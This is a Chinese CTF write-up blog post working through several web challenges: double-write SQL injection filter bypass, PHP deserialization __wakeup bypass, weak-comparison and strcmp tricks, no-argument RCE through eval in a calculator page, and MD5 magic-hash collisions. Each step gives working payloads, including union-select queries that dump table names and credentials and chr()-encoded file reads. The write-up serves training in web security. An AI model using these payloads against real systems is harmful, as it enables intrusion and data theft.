WP_week1

week1

sql

[极客大挑战 2019]BabySQL

考点

SQL注入双写绕过过滤

知识点

'--+'和'#'
都是作为注释的作用;
--是sql里的注释+号是url里的空格
--要和语句后面的引号 用空格隔开才有用

解题过程

step1-测试回显位置:
先测试回显在用户名那里还是密码那里,测试之后是在密码那里;
payload:1' order by 1#

step2-双写绕过过滤:
观察到der 1#可以知道or和by被过滤了,于是双写绕过:
payload: 1' oorrder bbyy 1,2,3,4#

step3-联合查询注入:
于是我们知道有3个位置可以回显有用信息,于是我们进行联合查询
payload: 1' union select 1,database(),3#

step4-双写绕过过滤:
语句有问题观察报错,发现union和select被过滤了
payload: 1' ununionion selselectect 1,database(),3#

step5-最终payload:
在后面发现,where,from也被过滤了
payload:
爆表:
1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#
爆列:
1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='b4bsql'#
爆数据:
1' ununionion seselectlect 1,2,group_concat(username,passwoorrd) frfromom geek.b4bsql# 

unserialize

[极客大挑战 2019]PHP

考点

1.常用的备份文件名:(这里说的source file考察的是备份文件名字)
index.phps
index.php.bak
index.php.swp
www.zip
2.从序列化到反序列化这几个函数的执行过程是:
__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()
3.变量的属性:
public:属性被序列化的时候属性值会变成 属性名

protected:属性被序列化的时候属性值会变成 \x00*\x00属性名

private:属性被序列化的时候属性值会变成 \x00类名\x00属性名

\x00是空字符(不是空格)空字符并没有被实例化  %00
4._wakeup()绕过
 序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()

解题过程:

step1:
看到那个备份网站,我就想到了www.zip,网站的所有文件都在www文件下  payload:url/www.zip


step2:
下载文件后在index.php里面我们看到了,在让我们传一个叫select的参数,然后对其反序列化,运行class.php这个脚本
<?php
include 'class.php';
$select=$_GET['select'];
$res=unserialize(@$select);
?>


step3:
class.php  整个脚本就是设置了两个private变量,用了设置了一个wakeup()方法(会在每次反序列化前调用它),在这是每次调用它都会把username的值变成guest;而后就是一个destruct()方法,内容就是对username,和password的验证;只有username=admin,password=100才打印flag;
<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>


step4:
序列化得到我们要传的 (O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";})
<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }}
$a=new Name('admin','100');
echo serialize($a);
?>


step5:
绕过
但是由于这两个是private变量,以及可以看到那个Nameusername只有12个字符,前面却写着14,所以空字符并没有被实例化
同时,反序列化前会调用wakeup(),destruct()又在wakeup之后,所以我们得绕过wakeup
payload:url/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}


[ACTF2020 新生赛]BackupFile

知识点

1.弱比较:字符串和数字做弱比较时会把字符串截取到第一个非数字字符前,即'123ffws'相当于123

解题过程

step1:backuofile 用/index.php.bak访问,得到源码
让我们get传参,参数必须是数字,同时key必须和str的值一样,才能得到flag,但是这里有个intval()函数,他会把key的内容转为整数
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}



step2:
绕过:
payload:url/?key=123

无参数RCE

[RoarCTF 2019]Easy Calc

知识点

1.php特性绕过waf:
PHP在接收URL传入的内容时,会将空格去除,将一些特殊字符转换为下划线(转换对象也包含空格)。
这里在num传参和?之后加入一个空格就可以绕过waf
2.命令执行函数:
·exec()
·shell_exec()
·system()
·passthru()
·反引号(``)
  eg:$output = `{$command}`;
3.无参数rce:

·特征:
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
这时如果我们用传统的eval($_POST[‘code’]); 则无法通过正则的校验 /[^\W]+((?R)?)/
对于该正则只允许形如 a(b(c())); a();
也就是只能使用函数套娃,里面的函数所产生的信息就是作为参数

·基础函数学习:
    localeconv() 函数返回一包含本地数字及货币格式信息的数组。
    scandir() 列出 images 目录中的文件和目录。
    readfile()  输出一个文件。
    current() 返回数组中的当前单元, 默认取第一个值。
    pos() current() 的别名。
    next() 函数将内部指针指向数组中的下一个元素,并输出。
    array_reverse()以相反的元素顺序返回数组。
    highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
    current(localeconv())   永远都是个点
    localeconv()    函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
    current()     返回数组中的当前单元, 默认取第一个值。
    pos()      是current()的别名。
    var_dump()是判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型.此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。

解题过程

step1:
F12在js代码那里看到calc.php,访问进去
就是让我们传一个叫num的参数,看到后面这里有个eval函数,所以在这里我们可以命令执行;我试了下/?num=system('ls /');他阻止了我们访问,按理来说,我这里的‘不满足那个黑名单,应该会回显what are you want to do?
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 


step2:
利用php特性绕过waf,waf不让num传入字母,于是我们可以在num前加一个空格,绕过waf  /? num=system('ls /');过了
注意到黑名单里面引号,反引号什么的都不让用;所以那些常规命令执行函数用不了
于是利用无参数rce;用到的函数有var_dump()[显示文件];scandir();chr()[因为/也被过滤了,所以我们利用chr,把码转为ascii];file_get_contents()[读取文件]。
payload:url/calc.php? num=var_dump(scandir(chr(47))) 看到f1agg


step3:读取f11ag
payload:url/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

信息收集

[极客大挑战 2019]BuyFlag

知识点:

1.弱比较
2.php 5.3.3 strucmp函数
strcmp()比较的是字符串类型
int strcmp(const char *s1, const char *s2);

如果s1和s2相等,返回0。
如果s1小于s2(按照字典顺序,即从小到大的字符顺序),返回负数。
如果s1大于s2,返回正数。

如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。

解题过程:

step1:
打开页面,在首页看不到有用信息,然后在payflag看到,这里有一些买到flag的要求:是CUIT的学生,正确的密码;然后我在源码里面看到了一段代码:
<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
就是对post传入的password的要求,如果检测到password是数字就不对,但是要求那个password等于404,然后注意到这里是弱等于
password=404a绕过    /POST/


step2:
传入进去,还是回显"Only Cuit's students can buy the FLAG"还是要求cuit的学生;于是抓包看看
看到这里有个user=0;就是猜测,给他改成1(真) 过了


step3:
现在还要求金额,前面有个100000000,我们传进去;
数字太长了,如果减一点,又会显示钱不够,于是就想到了科学计数法
password=404a&money=1e10

这里还可以利用php特9性,这里是php/5.3.3,可以利用函数strcmp(),使用数组(不同类型参数)绕过;
password=404a&money[]=1000

MD5

[BJDCTF2020]Easy MD5

知识点:

1.基于MD5()的万能密码:ffifdyop
2.MD5弱比较:
原值                 加密后的密文 

QNKCDZO           0E830400451993494058024219903391
240610708         0E462097431906509019562988736854
s878926199a       0E545993274517709034328855841020
s155964671a       0E342768416822451524974117254469
s214587387a       0E848240448830537924465865611904
3.MD5强比较:
·再就是强比较,我们可以利用数组绕过
利用了PHP语言的一些特性以及MD5函数处理非字符串输入的行为。具体来说,当MD5函数在PHP中被用于处理数组类型的输入时,它不会像处理字符串那样计算其哈希值,而是直接返回NULL。这是因为MD5函数预期接收的是字符串参数,而非数组。
payload:a[]=1&b[]=2
·爆破

解题过程

step1:
MD5万能密码:成功跳转页面


step2:
$a=$_GET['a'];
$b=$_GET['b'];

if($a!=$b&&md5($a)==md5($b)){
}
payload:url?a=QNKCDZO&b=s878926199a 

step3:
强比较:
param1[]=1&param2[]=2    /post/
posted @ 2024-06-04 15:28  鱿鱼1029  阅读(5)  评论(0编辑  收藏  举报